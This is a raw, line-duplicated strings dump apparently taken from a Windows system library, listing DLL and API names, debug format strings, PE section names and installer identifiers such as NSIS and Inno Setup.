apphelp.dll
apphelp.dll
api-ms-win-service-winsvc-l1-1-0.dll
api-ms-win-service-winsvc-l1-1-0.dll
api-ms-win-service-management-l2-1-0.dll
api-ms-win-service-management-l2-1-0.dll
api-ms-win-service-management-l1-1-0.dll
api-ms-win-service-management-l1-1-0.dll
api-ms-win-service-core-l1-1-0.dll
api-ms-win-service-core-l1-1-0.dll
api-ms-win-security-sddl-l1-1-0.dll
api-ms-win-security-sddl-l1-1-0.dll
api-ms-win-security-lsalookup-l1-1-0.dll
api-ms-win-security-lsalookup-l1-1-0.dll
advpack.dll
advpack.dll
advapi32.dll
advapi32.dll
activeds.dll
activeds.dll
actionqueue.dll
actionqueue.dll
aclui.dll
aclui.dll
SetProcessWindowStation
SetProcessWindowStation
OpenWindowStationW
OpenWindowStationW
OpenWindowStationA
OpenWindowStationA
MsgWaitForMultipleObjectsEx
MsgWaitForMultipleObjectsEx
MsgWaitForMultipleObjects
MsgWaitForMultipleObjects
GetProcessWindowStation
GetProcessWindowStation
GetKeyState
GetKeyState
EnumDesktopWindows
EnumDesktopWindows
CloseWindowStation
CloseWindowStation
CM_Open_Class_Key_ExW
CM_Open_Class_Key_ExW
CM_MapCrToWin32Err
CM_MapCrToWin32Err
CM_MapCrToSpErr
CM_MapCrToSpErr
HvPFXImportCertStore
HvPFXImportCertStore
PFXExportCertStoreEx
PFXExportCertStoreEx
PFXExportCertStore
PFXExportCertStore
CryptVerifyCertificateSignatureEx
CryptVerifyCertificateSignatureEx
CryptVerifyCertificateSignature
CryptVerifyCertificateSignature
CryptSignCertificate
CryptSignCertificate
CryptSignAndEncodeCertificate
CryptSignAndEncodeCertificate
CryptMsgUpdate
CryptMsgUpdate
CryptMsgOpenToEncode
CryptMsgOpenToEncode
CryptMsgOpenToDecode
CryptMsgOpenToDecode
CryptMsgGetParam
CryptMsgGetParam
CryptMsgGetAndVerifySigner
CryptMsgGetAndVerifySigner
CryptMsgControl
CryptMsgControl
CryptMsgClose
CryptMsgClose
CryptMsgCalculateEncodedLength
CryptMsgCalculateEncodedLength
CryptImportPublicKeyInfoEx2
CryptImportPublicKeyInfoEx2
CryptImportPublicKeyInfoEx
CryptImportPublicKeyInfoEx
CryptImportPublicKeyInfo
CryptImportPublicKeyInfo
CryptHashPublicKeyInfo
CryptHashPublicKeyInfo
CryptHashCertificate
CryptHashCertificate
CryptGetMessageCertificates
CryptGetMessageCertificates
CryptExportPublicKeyInfo
CryptExportPublicKeyInfo
CryptAcquireCertificatePrivateKey
CryptAcquireCertificatePrivateKey
CertVerifyValidityNesting
CertVerifyValidityNesting
CertVerifyTimeValidity
CertVerifyTimeValidity
CertVerifySubjectCertificateContext
CertVerifySubjectCertificateContext
CertStrToNameW
CertStrToNameW
CertStrToNameA
CertStrToNameA
CertSetEnhancedKeyUsage
CertSetEnhancedKeyUsage
CertSetCertificateContextProperty
CertSetCertificateContextProperty
CertSerializeCertificateStoreElement
CertSerializeCertificateStoreElement
CertSelectCertificateChains
CertSelectCertificateChains
CertSaveStore
CertSaveStore
CertRemoveEnhancedKeyUsageIdentifier
CertRemoveEnhancedKeyUsageIdentifier
CertRegisterPhysicalStore
CertRegisterPhysicalStore
CertRDNValueToStrW
CertRDNValueToStrW
CertRDNValueToStrA
CertRDNValueToStrA
CertOpenSystemStoreW
CertOpenSystemStoreW
CertOpenSystemStoreA
CertOpenSystemStoreA
CertOpenStore
CertOpenStore
CertOIDToAlgId
CertOIDToAlgId
CertNameToStrW
CertNameToStrW
CertNameToStrA
CertNameToStrA
CertIsRDNAttrsInCertificateName
CertIsRDNAttrsInCertificateName
CertGetSubjectCertificateFromStore
CertGetSubjectCertificateFromStore
CertGetPublicKeyLength
CertGetPublicKeyLength
CertGetNameStringW
CertGetNameStringW
CertGetIssuerCertificateFromStore
CertGetIssuerCertificateFromStore
CertGetIntendedKeyUsage
CertGetIntendedKeyUsage
CertGetEnhancedKeyUsage
CertGetEnhancedKeyUsage
CertGetCertificateContextProperty
CertGetCertificateContextProperty
CertGetCertificateChain
CertGetCertificateChain
CertGetCTLContextProperty
CertGetCTLContextProperty
CertFreeCertificateContext
CertFreeCertificateContext
CertFreeCertificateChainList
CertFreeCertificateChainList
CertFreeCertificateChainEngine
CertFreeCertificateChainEngine
CertFreeCertificateChain
CertFreeCertificateChain
CertFreeCTLContext
CertFreeCTLContext
CertFreeCRLContext
CertFreeCRLContext
CertFindSubjectInCTL
CertFindSubjectInCTL
CertFindRDNAttr
CertFindRDNAttr
CertFindExtension
CertFindExtension
CertFindChainInStore
CertFindChainInStore
CertFindCertificateInStore
CertFindCertificateInStore
CertFindCTLInStore
CertFindCTLInStore
CertEnumCertificatesInStore
CertEnumCertificatesInStore
CertEnumCertificateContextProperties
CertEnumCertificateContextProperties
CertEnumCRLsInStore
CertEnumCRLsInStore
CertDuplicateStore
CertDuplicateStore
CertDuplicateCertificateContext
CertDuplicateCertificateContext
CertDuplicateCertificateChain
CertDuplicateCertificateChain
CertDuplicateCTLContext
CertDuplicateCTLContext
CertDeleteCertificateFromStore
CertDeleteCertificateFromStore
CertCreateSelfSignCertificate
CertCreateSelfSignCertificate
CertCreateContext
CertCreateContext
CertCreateCertificateContext
CertCreateCertificateContext
CertCreateCTLContext
CertCreateCTLContext
CertCreateCRLContext
CertCreateCRLContext
CertControlStore
CertControlStore
CertComparePublicKeyInfo
CertComparePublicKeyInfo
CertCompareIntegerBlob
CertCompareIntegerBlob
CertCompareCertificateName
CertCompareCertificateName
CertCompareCertificate
CertCompareCertificate
CertCloseStore
CertCloseStore
CertAddStoreToCollection
CertAddStoreToCollection
CertAddSerializedElementToStore
CertAddSerializedElementToStore
CertAddEnhancedKeyUsageIdentifier
CertAddEnhancedKeyUsageIdentifier
CertAddEncodedCertificateToStore
CertAddEncodedCertificateToStore
CertAddEncodedCRLToStore
CertAddEncodedCRLToStore
CertAddCertificateContextToStore
CertAddCertificateContextToStore
CertAddCRLContextToStore
CertAddCRLContextToStore
CertVerifyCertificateChainPolicy
CertVerifyCertificateChainPolicy
CryptHashSessionKey
CryptHashSessionKey
CryptDuplicateKey
CryptDuplicateKey
TF_RunInputCPL
TF_RunInputCPL
TF_PostAllThreadMsg
TF_PostAllThreadMsg
SetupDiReportDeviceInstallError
SetupDiReportDeviceInstallError
SetupDiOpenDeviceInterfaceRegKey
SetupDiOpenDeviceInterfaceRegKey
SetupDiOpenDevRegKey
SetupDiOpenDevRegKey
SetupDiOpenClassRegKeyExW
SetupDiOpenClassRegKeyExW
SetupDiOpenClassRegKeyExA
SetupDiOpenClassRegKeyExA
SetupDiOpenClassRegKey
SetupDiOpenClassRegKey
SetupDiGetDevicePropertyKeys
SetupDiGetDevicePropertyKeys
SetupDiGetDeviceInterfacePropertyKeys
SetupDiGetDeviceInterfacePropertyKeys
SetupDiGetClassPropertyKeysExW
SetupDiGetClassPropertyKeysExW
SetupDiGetClassPropertyKeys
SetupDiGetClassPropertyKeys
SetupDiCreateDeviceInterfaceRegKeyW
SetupDiCreateDeviceInterfaceRegKeyW
SetupDiCreateDevRegKeyW
SetupDiCreateDevRegKeyW
ShellExecuteW
ShellExecuteW
ShellExecuteExW
ShellExecuteExW
ShellExecuteExA
ShellExecuteExA
ShellExecuteA
ShellExecuteA
SHFileOperationW
SHFileOperationW
SHFileOperationA
SHFileOperationA
FindExecutableW
FindExecutableW
FindExecutableA
FindExecutableA
AssocGetDetailsOfPropKey
AssocGetDetailsOfPropKey
xHvSLUnregisterWindowsEvent
xHvSLUnregisterWindowsEvent
SLRegisterWindowsEvent
SLRegisterWindowsEvent
SLReArmWindows
SLReArmWindows
SLIsWindowsGenuineLocal
SLIsWindowsGenuineLocal
SLGetWindowsInformationDWORD
SLGetWindowsInformationDWORD
SLGetWindowsInformation
SLGetWindowsInformation
SLConsumeWindowsRight
SLConsumeWindowsRight
SetPortW
SetPortW
EnumPrinterKeyW
EnumPrinterKeyW
EnumPortsW
EnumPortsW
DeletePrinterKeyW
DeletePrinterKeyW
DeletePortW
DeletePortW
ConfigurePortW
ConfigurePortW
AddPortW
AddPortW
WTHelperGetProvCertFromChain
WTHelperGetProvCertFromChain
TrustIsCertificateSelfSigned
TrustIsCertificateSelfSigned
NetUnjoinDomain
NetUnjoinDomain
NetJoinDomain
NetJoinDomain
NetGetJoinInformation
NetGetJoinInformation
LOAD: GETMODULEFILENAME failed PID=%ld | stringID=%ld | str=%S | flags=%d | hr = %X
LOAD: GETMODULEFILENAME failed PID=%ld | stringID=%ld | str=%S | flags=%d | hr = %X
j%Xjp3
j%Xjp3
SXS: %s() BasepSxsCreateStreams() failed
SXS: %s() BasepSxsCreateStreams() failed
t.HH;
t.HH;
j.Yf;
j.Yf;
PSSSSSSh
PSSSSSSh
Invalid args passed
Invalid args passed
LOAD: INIT failed PID=%ld | stringID=%ld | str=%S | flags=%d | hr = %X
LOAD: INIT failed PID=%ld | stringID=%ld | str=%S | flags=%d | hr = %X
WTSShutdownSystem
WTSShutdownSystem
twain_32.dll
twain_32.dll
SdbReleaseMatchingExe
SdbReleaseMatchingExe
SdbGetMatchingExe
SdbGetMatchingExe
SdbFindFirstGUIDIndexedTag
SdbFindFirstGUIDIndexedTag
ApphelpCheckExe
ApphelpCheckExe
j.Xf;
j.Xf;
.data
.data
UrlUnescapeW
UrlUnescapeW
UrlUnescapeA
UrlUnescapeA
UrlGetPartW
UrlGetPartW
UrlEscapeW
UrlEscapeW
UrlEscapeA
UrlEscapeA
UrlCombineW
UrlCombineW
UrlCombineA
UrlCombineA
UrlCanonicalizeW
UrlCanonicalizeW
UrlCanonicalizeA
UrlCanonicalizeA
UrlApplySchemeW
UrlApplySchemeW
UrlApplySchemeA
UrlApplySchemeA
SHEnumKeyExW
SHEnumKeyExW
SHDeleteKeyW
SHDeleteKeyW
SHDeleteKeyA
SHDeleteKeyA
PathIsURLW
PathIsURLW
PathCreateFromUrlW
PathCreateFromUrlW
CvWS_HTTP2_INITIAL_CONNECTION__new
CvWS_HTTP2_INITIAL_CONNECTION__new
WS_HTTP2_CONNECTION__Initialize
WS_HTTP2_CONNECTION__Initialize
I_RpcTransGetHttpCredentials
I_RpcTransGetHttpCredentials
I_RpcTransFreeHttpCredentials
I_RpcTransFreeHttpCredentials
HttpSendIdentifyResponse
HttpSendIdentifyResponse
HTTP_TurnOnOffKeepAlives
HTTP_TurnOnOffKeepAlives
HTTP_SyncSend
HTTP_SyncSend
HTTP_SyncRecv
HTTP_SyncRecv
HTTP_SetLastBufferToFree
HTTP_SetLastBufferToFree
HTTP_ServerListen
HTTP_ServerListen
HTTP_Send
HTTP_Send
HTTP_Recv
HTTP_Recv
HTTP_QueryLocalAddress
HTTP_QueryLocalAddress
HTTP_QueryClientIpAddress
HTTP_QueryClientIpAddress
HTTP_QueryClientId
HTTP_QueryClientId
HTTP_QueryClientAddress
HTTP_QueryClientAddress
HTTP_Open
HTTP_Open
HTTP_Initialize
HTTP_Initialize
HTTP_FreeResolverHint
HTTP_FreeResolverHint
HTTP_CopyResolverHint
HTTP_CopyResolverHint
HTTP_Close
HTTP_Close
HTTP_Abort
HTTP_Abort
HTTP2WinHttpDirectSend
HTTP2WinHttpDirectSend
HTTP2WinHttpDirectReceive
HTTP2WinHttpDirectReceive
HTTP2WinHttpDelayedReceive
HTTP2WinHttpDelayedReceive
HTTP2TimerReschedule
HTTP2TimerReschedule
HTTP2TestHook
HTTP2TestHook
HTTP2SocketTransportChannel__SendComplete
HTTP2SocketTransportChannel__SendComplete
HTTP2SocketTransportChannel__ReceiveComplete
HTTP2SocketTransportChannel__ReceiveComplete
HTTP2RecycleChannel
HTTP2RecycleChannel
HTTP2ProcessRuntimePostedEvent
HTTP2ProcessRuntimePostedEvent
HTTP2ProcessComplexTSend
HTTP2ProcessComplexTSend
HTTP2ProcessComplexTReceive
HTTP2ProcessComplexTReceive
HTTP2PlugChannelDirectSend
HTTP2PlugChannelDirectSend
HTTP2IISSenderDirectSend
HTTP2IISSenderDirectSend
HTTP2IISDirectReceive
HTTP2IISDirectReceive
HTTP2GetRpcConnectionTransport
HTTP2GetRpcConnectionTransport
HTTP2FlowControlChannelDirectSend
HTTP2FlowControlChannelDirectSend
HTTP2EpRecvFailed
HTTP2EpRecvFailed
HTTP2DirectReceive
HTTP2DirectReceive
HTTP2ContinueDrainChannel
HTTP2ContinueDrainChannel
HTTP2ChannelDataOriginatorDirectSend
HTTP2ChannelDataOriginatorDirectSend
HTTP2AbortConnection
HTTP2AbortConnection
FreeHttpTransportCredentials
FreeHttpTransportCredentials
DuplicateHttpTransportCredentials
DuplicateHttpTransportCredentials
ConvertToUnicodeHttpTransportCredentials
ConvertToUnicodeHttpTransportCredentials
CompareHttpTransportCredentials
CompareHttpTransportCredentials
TransportAddrFromMtxAddr
TransportAddrFromMtxAddr
MtxAddrFromTransportAddr
MtxAddrFromTransportAddr
DsaExeStartRoutine
DsaExeStartRoutine
DirOperationControl
DirOperationControl
DSStrToHashKeyExternal
DSStrToHashKeyExternal
DSNAMEToHashKeyExternal
DSNAMEToHashKeyExternal
AttrTypeToKey
AttrTypeToKey
SaferiIsExecutableFileType
SaferiIsExecutableFileType
ReportEventW
ReportEventW
ReportEventA
ReportEventA
RegUnLoadKeyW
RegUnLoadKeyW
RegSetKeyValueW
RegSetKeyValueW
RegSetKeySecurity
RegSetKeySecurity
RegSaveKeyW
RegSaveKeyW
RegSaveKeyExW
RegSaveKeyExW
RegSaveKeyA
RegSaveKeyA
RegRestoreKeyW
RegRestoreKeyW
RegReplaceKeyW
RegReplaceKeyW
RegRenameKey
RegRenameKey
RegQueryReflectionKey
RegQueryReflectionKey
RegQueryInfoKeyW
RegQueryInfoKeyW
RegQueryInfoKeyA
RegQueryInfoKeyA
RegOpenKeyW
RegOpenKeyW
RegOpenKeyTransactedW
RegOpenKeyTransactedW
RegOpenKeyExW
RegOpenKeyExW
RegOpenKeyExA
RegOpenKeyExA
RegOpenKeyA
RegOpenKeyA
RegNotifyChangeKeyValue
RegNotifyChangeKeyValue
RegLoadKeyW
RegLoadKeyW
RegGetKeySecurity
RegGetKeySecurity
RegFlushKey
RegFlushKey
RegEnumKeyW
RegEnumKeyW
RegEnumKeyExW
RegEnumKeyExW
RegEnumKeyA
RegEnumKeyA
RegEnableReflectionKey
RegEnableReflectionKey
RegDisableReflectionKey
RegDisableReflectionKey
RegDeleteKeyW
RegDeleteKeyW
RegDeleteKeyValueW
RegDeleteKeyValueW
RegDeleteKeyTransactedW
RegDeleteKeyTransactedW
RegDeleteKeyExW
RegDeleteKeyExW
RegDeleteKeyExA
RegDeleteKeyExA
RegDeleteKeyA
RegDeleteKeyA
RegCreateKeyW
RegCreateKeyW
RegCreateKeyTransactedW
RegCreateKeyTransactedW
RegCreateKeyExW
RegCreateKeyExW
RegCreateKeyA
RegCreateKeyA
RegCloseKey
RegCloseKey
GetServiceKeyNameW
GetServiceKeyNameW
GetEventLogInformation
GetEventLogInformation
FreeEncryptionCertificateHashList
FreeEncryptionCertificateHashList
FreeEncryptedFileKeyInfo
FreeEncryptedFileKeyInfo
EncryptedFileKeyInfo
EncryptedFileKeyInfo
ElfReportEventW
ElfReportEventW
Gentee.Installer
Gentee.Installer
RR.Raphael.Install.Builder
RR.Raphael.Install.Builder
ThraexSoftware.AstrumInstallWizard
ThraexSoftware.AstrumInstallWizard
Roshal.WinRAR.WinRAR
Roshal.WinRAR.WinRAR
Illustrate.Spoon.Installer
Illustrate.Spoon.Installer
InstallShield.Setup
InstallShield.Setup
Nullsoft.NSIS
Nullsoft.NSIS
JR.Inno.Setup
JR.Inno.Setup
uOSSh
uOSSh
\twain_32.dll
\twain_32.dll
TermsrvSetKeySecurity
TermsrvSetKeySecurity
TermsrvRestoreKey
TermsrvRestoreKey
TermsrvDeleteKey
TermsrvDeleteKey
TermsrvSetValueKey
TermsrvSetValueKey
tsappcmp.dll
tsappcmp.dll
SXS: %s() empty lpSource %ls
SXS: %s() empty lpSource %ls
SXS: %s() Calling csrss server failed. Status = 0x%x
SXS: %s() Calling csrss server failed. Status = 0x%x
SXS: %s() NtCreateSection() failed. Status = 0x%x.
SXS: %s() NtCreateSection() failed. Status = 0x%x.
SXS: %s() NtMapViewOfSection failed
SXS: %s() NtMapViewOfSection failed
SXS: %s() NtOpenFile(%wZ) failed
SXS: %s() NtOpenFile(%wZ) failed
SXS: %s() AssemblyDirectory is not null terminated
SXS: %s() AssemblyDirectory is not null terminated
SXS: %s() BaseDllMapResourceIdW failed
SXS: %s() BaseDllMapResourceIdW failed
SXS: %s() ACTCTX_FLAG_RESOURCE_NAME_VALID set but lpResourceName == 0
SXS: %s() ACTCTX_FLAG_RESOURCE_NAME_VALID set but lpResourceName == 0
SXS: %s() Bad lpAssemblyDirectory %ls
SXS: %s() Bad lpAssemblyDirectory %ls
SXS: %s() Bad lpApplication name '%ls'
SXS: %s() Bad lpApplication name '%ls'
SXS: %s() Bad lpSource PathType %ls, 0x%lx
SXS: %s() Bad lpSource PathType %ls, 0x%lx
SXS: %s() bad wProcessorArchitecture 0x%x
SXS: %s() bad wProcessorArchitecture 0x%x
SXS: %s() BaseDllMapResourceIdA failed
SXS: %s() BaseDllMapResourceIdA failed
SXS: Invalid parameter(s) passed to FindActCtxSection*()
SXS: Invalid parameter(s) passed to FindActCtxSection*()
->cbSize = %u
->cbSize = %u
SXS: %s() CsrCaptureMessageMultiUnicodeStringsInPlace failed
SXS: %s() CsrCaptureMessageMultiUnicodeStringsInPlace failed
Kernel32: No mapping for ImageInformation.Machine == x
Kernel32: No mapping for ImageInformation.Machine == x
ConnectConsoleInternal failed with Status 0x%x
ConnectConsoleInternal failed with Status 0x%x
NtConnectPort %ws failed with Status 0x%x
NtConnectPort %ws failed with Status 0x%x
SXS: %s() NtQueryInformationFile failed. Status = 0x%x
SXS: %s() NtQueryInformationFile failed. Status = 0x%x
WaitForMultipleObjects returned with %d
WaitForMultipleObjects returned with %d
RtlWerpReportException failed with status code :%d. Will try to launch the process directly
RtlWerpReportException failed with status code :%d. Will try to launch the process directly
WerpReportFault Invalid params passed
WerpReportFault Invalid params passed
WerpHeapFree failed with 0x%x
WerpHeapFree failed with 0x%x
Too long restart command line passed
Too long restart command line passed
t5SSh
t5SSh
StringCchCopy failed with 0x%x
StringCchCopy failed with 0x%x
Invalid arg in %s
Invalid arg in %s
Invalid block passed
Invalid block passed
INIT: PID %ld is %S
INIT: PID %ld is %S
LOAD: INS failed PID=%ld | stringID=%ld | str=%S | flags=%d | hr = %X
LOAD: INS failed PID=%ld | stringID=%ld | str=%S | flags=%d | hr = %X
TermsrvLogInstallIniFile
TermsrvLogInstallIniFile
TermsrvGetWindowsDirectoryW
TermsrvGetWindowsDirectoryW
TermsrvGetWindowsDirectoryA
TermsrvGetWindowsDirectoryA
SXS: %s() NtCreateSection() failed. Status = 0x%x
SXS: %s() NtCreateSection() failed. Status = 0x%x
SXS: %s() Null %p or size 0x%lx too small
SXS: %s() Null %p or size 0x%lx too small
SXS: %s() Bad flags/size 0x%lx/0x%lx
SXS: %s() Bad flags/size 0x%lx/0x%lx
.debug
.debug
.reloc
.reloc
.rsrc1
.rsrc1
.rsrc
.rsrc
SXS: %s() NtOpenFile(%wZ) failed. Status = 0x%x
SXS: %s() NtOpenFile(%wZ) failed. Status = 0x%x
Invalid args in %s
Invalid args in %s
WerpGetRecoveryInfoForSelf failed with 0x%x
WerpGetRecoveryInfoForSelf failed with 0x%x
SSSSh
SSSSh
WPSSh
WPSSh
mem16.dll
mem16.dll
ImpersonateNamedPipeClient
ImpersonateNamedPipeClient
PSSh?
PSSh?
PWVSSh
PWVSSh
{u.j-Yf9H&uùH0u
{u.j-Yf9H&uùH0u
u%SPd
u%SPd
t SSh
t SSh
PSSh
PSSh
SXS: %s - Failure getting active activation context; ntstatus lx
SXS: %s - Failure getting active activation context; ntstatus lx
PVWSSh
PVWSSh
VSSHP
VSSHP
GetSystemWindowsDirectory failed or the size was not adequate
GetSystemWindowsDirectory failed or the size was not adequate
StringCchPrintf failed with 0x%x
StringCchPrintf failed with 0x%x
NtQueryInformationProcess failed with 0x%x
NtQueryInformationProcess failed with 0x%x
Failed to create the process %S
Failed to create the process %S
Failed to get the paths for the crash vertical. Error was 0x%x
Failed to get the paths for the crash vertical. Error was 0x%x
NtQueryInformationProcess failed with status: 0x%x
NtQueryInformationProcess failed with status: 0x%x
#FvRtlInitUnicodeStringEx returned 0x%x
#FvRtlInitUnicodeStringEx returned 0x%x
NtQueryInformationProcess failed 0x%x
NtQueryInformationProcess failed 0x%x
"FvStringcchcopy failed while copying the debugger path 0x%x
"FvStringcchcopy failed while copying the debugger path 0x%x
StringCchPrintf failed while printng the debugger commandline with 0x%x
StringCchPrintf failed while printng the debugger commandline with 0x%x
StringCchPrintf failed while printing the debugger path with 0x%x
StringCchPrintf failed while printing the debugger path with 0x%x
NtWow64QueryInformationProcess64 failed with 0x%x
NtWow64QueryInformationProcess64 failed with 0x%x
NtWow64ReadVirtualMemory64 failed with 0x%x
NtWow64ReadVirtualMemory64 failed with 0x%x
NtQueryInformationProcess failed with status 0x%x
NtQueryInformationProcess failed with status 0x%x
WerpNtWow64QueryInformationProcess64 failed with status 0x%x
WerpNtWow64QueryInformationProcess64 failed with status 0x%x
Invalid handle passed
Invalid handle passed
hp.Iv
hp.Iv
hL.Ivj
hL.Ivj
USE: GETMODSTAMP failed PID=%ld | MODNAME=%S | STRID=%ld | hr = %X
USE: GETMODSTAMP failed PID=%ld | MODNAME=%S | STRID=%ld | hr = %X
USE: GETMODULEVERSION failed PID=%ld | MODNAME=%S | STRID=%ld | hr = %X
USE: GETMODULEVERSION failed PID=%ld | MODNAME=%S | STRID=%ld | hr = %X
USE: Lookup failed PID=%ld | STR=%S | HashModBuckets=%ld
USE: Lookup failed PID=%ld | STR=%S | HashModBuckets=%ld
CACHE: Purging node from the cache MOD=%s | STRID=%ld | Flags=%X | HashModBuckets=%ld
CACHE: Purging node from the cache MOD=%s | STRID=%ld | Flags=%X | HashModBuckets=%ld
KERNEL32.dll
KERNEL32.dll
BaseCleanupAppcompatCacheSupport
BaseCleanupAppcompatCacheSupport
BaseInitAppcompatCacheSupport
BaseInitAppcompatCacheSupport
CallNamedPipeA
CallNamedPipeA
CallNamedPipeW
CallNamedPipeW
CmdBatNotification
CmdBatNotification
ConnectNamedPipe
ConnectNamedPipe
CreateIoCompletionPort
CreateIoCompletionPort
CreateMutexExA
CreateMutexExA
CreateMutexExW
CreateMutexExW
CreateNamedPipeA
CreateNamedPipeA
CreateNamedPipeW
CreateNamedPipeW
CreatePipe
CreatePipe
DisconnectNamedPipe
DisconnectNamedPipe
EnumCalendarInfoExEx
EnumCalendarInfoExEx
EnumDateFormatsExEx
EnumDateFormatsExEx
GetCPInfo
GetCPInfo
GetCPInfoExA
GetCPInfoExA
GetCPInfoExW
GetCPInfoExW
GetCalendarSupportedDateRange
GetCalendarSupportedDateRange
GetConsoleAliasExesA
GetConsoleAliasExesA
GetConsoleAliasExesLengthA
GetConsoleAliasExesLengthA
GetConsoleAliasExesLengthW
GetConsoleAliasExesLengthW
GetConsoleAliasExesW
GetConsoleAliasExesW
GetConsoleInputExeNameA
GetConsoleInputExeNameA
GetConsoleInputExeNameW
GetConsoleInputExeNameW
GetConsoleKeyboardLayoutNameA
GetConsoleKeyboardLayoutNameA
GetConsoleKeyboardLayoutNameW
GetConsoleKeyboardLayoutNameW
GetConsoleOutputCP
GetConsoleOutputCP
GetLargestConsoleWindowSize
GetLargestConsoleWindowSize
GetNamedPipeAttribute
GetNamedPipeAttribute
GetNamedPipeClientComputerNameA
GetNamedPipeClientComputerNameA
GetNamedPipeClientComputerNameW
GetNamedPipeClientComputerNameW
GetNamedPipeClientProcessId
GetNamedPipeClientProcessId
GetNamedPipeClientSessionId
GetNamedPipeClientSessionId
GetNamedPipeHandleStateA
GetNamedPipeHandleStateA
GetNamedPipeHandleStateW
GetNamedPipeHandleStateW
GetNamedPipeInfo
GetNamedPipeInfo
GetNamedPipeServerProcessId
GetNamedPipeServerProcessId
GetNamedPipeServerSessionId
GetNamedPipeServerSessionId
GetProcessHandleCount
GetProcessHandleCount
GetProcessHeap
GetProcessHeap
GetProcessHeaps
GetProcessHeaps
GetProcessShutdownParameters
GetProcessShutdownParameters
GetSystemWindowsDirectoryA
GetSystemWindowsDirectoryA
GetSystemWindowsDirectoryW
GetSystemWindowsDirectoryW
GetWindowsDirectoryA
GetWindowsDirectoryA
GetWindowsDirectoryW
GetWindowsDirectoryW
InitOnceExecuteOnce
InitOnceExecuteOnce
NeedCurrentDirectoryForExePathA
NeedCurrentDirectoryForExePathA
NeedCurrentDirectoryForExePathW
NeedCurrentDirectoryForExePathW
PeekNamedPipe
PeekNamedPipe
RegCreateKeyExA
RegCreateKeyExA
RegEnumKeyExA
RegEnumKeyExA
RegLoadKeyA
RegLoadKeyA
RegRestoreKeyA
RegRestoreKeyA
RegSaveKeyExA
RegSaveKeyExA
RegUnLoadKeyA
RegUnLoadKeyA
RegisterWowExec
RegisterWowExec
SetConsoleInputExeNameA
SetConsoleInputExeNameA
SetConsoleInputExeNameW
SetConsoleInputExeNameW
SetConsoleKeyShortcuts
SetConsoleKeyShortcuts
SetConsoleMaximumWindowSize
SetConsoleMaximumWindowSize
SetConsoleOutputCP
SetConsoleOutputCP
SetNamedPipeAttribute
SetNamedPipeAttribute
SetNamedPipeHandleState
SetNamedPipeHandleState
SetProcessShutdownParameters
SetProcessShutdownParameters
SetThreadExecutionState
SetThreadExecutionState
TransactNamedPipe
TransactNamedPipe
VDMConsoleOperation
VDMConsoleOperation
VDMOperationStarted
VDMOperationStarted
WaitNamedPipeA
WaitNamedPipeA
WaitNamedPipeW
WaitNamedPipeW
WinExec
WinExec
NTDLL.RtlAcquireSRWLockExclusive
NTDLL.RtlAcquireSRWLockExclusive
NTDLL.RtlAcquireSRWLockShared
NTDLL.RtlAcquireSRWLockShared
api-ms-win-core-libraryloader-l1-1-0.AddDllDirectory
api-ms-win-core-libraryloader-l1-1-0.AddDllDirectory
NTDLL.RtlAddVectoredContinueHandler
NTDLL.RtlAddVectoredContinueHandler
NTDLL.RtlAddVectoredExceptionHandler
NTDLL.RtlAddVectoredExceptionHandler
NTDLL.TpCancelAsyncIoOperation
NTDLL.TpCancelAsyncIoOperation
NTDLL.TpReleasePool
NTDLL.TpReleasePool
NTDLL.TpReleaseCleanupGroup
NTDLL.TpReleaseCleanupGroup
NTDLL.TpReleaseCleanupGroupMembers
NTDLL.TpReleaseCleanupGroupMembers
NTDLL.TpReleaseIoCompletion
NTDLL.TpReleaseIoCompletion
NTDLL.TpReleaseTimer
NTDLL.TpReleaseTimer
NTDLL.TpReleaseWait
NTDLL.TpReleaseWait
NTDLL.TpReleaseWork
NTDLL.TpReleaseWork
api-ms-win-core-processthreads-l1-1-0.CreateRemoteThreadEx
api-ms-win-core-processthreads-l1-1-0.CreateRemoteThreadEx
NTDLL.RtlDecodePointer
NTDLL.RtlDecodePointer
NTDLL.RtlDecodeSystemPointer
NTDLL.RtlDecodeSystemPointer
NTDLL.RtlDeleteBoundaryDescriptor
NTDLL.RtlDeleteBoundaryDescriptor
NTDLL.RtlDeleteCriticalSection
NTDLL.RtlDeleteCriticalSection
api-ms-win-core-processthreads-l1-1-0.DeleteProcThreadAttributeList
api-ms-win-core-processthreads-l1-1-0.DeleteProcThreadAttributeList
NTDLL.TpDisassociateCallback
NTDLL.TpDisassociateCallback
NTDLL.RtlEncodePointer
NTDLL.RtlEncodePointer
NTDLL.RtlEncodeSystemPointer
NTDLL.RtlEncodeSystemPointer
NTDLL.RtlEnterCriticalSection
NTDLL.RtlEnterCriticalSection
NTDLL.RtlExitUserThread
NTDLL.RtlExitUserThread
NTDLL.NtFlushProcessWriteBuffers
NTDLL.NtFlushProcessWriteBuffers
NTDLL.TpCallbackUnloadDllOnCompletion
NTDLL.TpCallbackUnloadDllOnCompletion
NTDLL.RtlGetCurrentProcessorNumber
NTDLL.RtlGetCurrentProcessorNumber
NTDLL.RtlGetCurrentProcessorNumberEx
NTDLL.RtlGetCurrentProcessorNumberEx
api-ms-win-core-sysinfo-l1-1-0.GetLogicalProcessorInformationEx
api-ms-win-core-sysinfo-l1-1-0.GetLogicalProcessorInformationEx
NTDLL.RtlAllocateHeap
NTDLL.RtlAllocateHeap
NTDLL.RtlReAllocateHeap
NTDLL.RtlReAllocateHeap
NTDLL.RtlSizeHeap
NTDLL.RtlSizeHeap
NTDLL.RtlRunOnceInitialize
NTDLL.RtlRunOnceInitialize
NTDLL.RtlInitializeConditionVariable
NTDLL.RtlInitializeConditionVariable
NTDLL.RtlInitializeCriticalSection
NTDLL.RtlInitializeCriticalSection
api-ms-win-core-processthreads-l1-1-0.InitializeProcThreadAttributeList
api-ms-win-core-processthreads-l1-1-0.InitializeProcThreadAttributeList
NTDLL.RtlInitializeSListHead
NTDLL.RtlInitializeSListHead
NTDLL.RtlInitializeSRWLock
NTDLL.RtlInitializeSRWLock
NTDLL.RtlInterlockedCompareExchange64
NTDLL.RtlInterlockedCompareExchange64
NTDLL.RtlInterlockedFlushSList
NTDLL.RtlInterlockedFlushSList
NTDLL.RtlInterlockedPopEntrySList
NTDLL.RtlInterlockedPopEntrySList
NTDLL.RtlInterlockedPushEntrySList
NTDLL.RtlInterlockedPushEntrySList
NTDLL.RtlInterlockedPushListSList
NTDLL.RtlInterlockedPushListSList
NTDLL.TpIsTimerSet
NTDLL.TpIsTimerSet
NTDLL.RtlLeaveCriticalSection
NTDLL.RtlLeaveCriticalSection
NTDLL.TpCallbackLeaveCriticalSectionOnCompletion
NTDLL.TpCallbackLeaveCriticalSectionOnCompletion
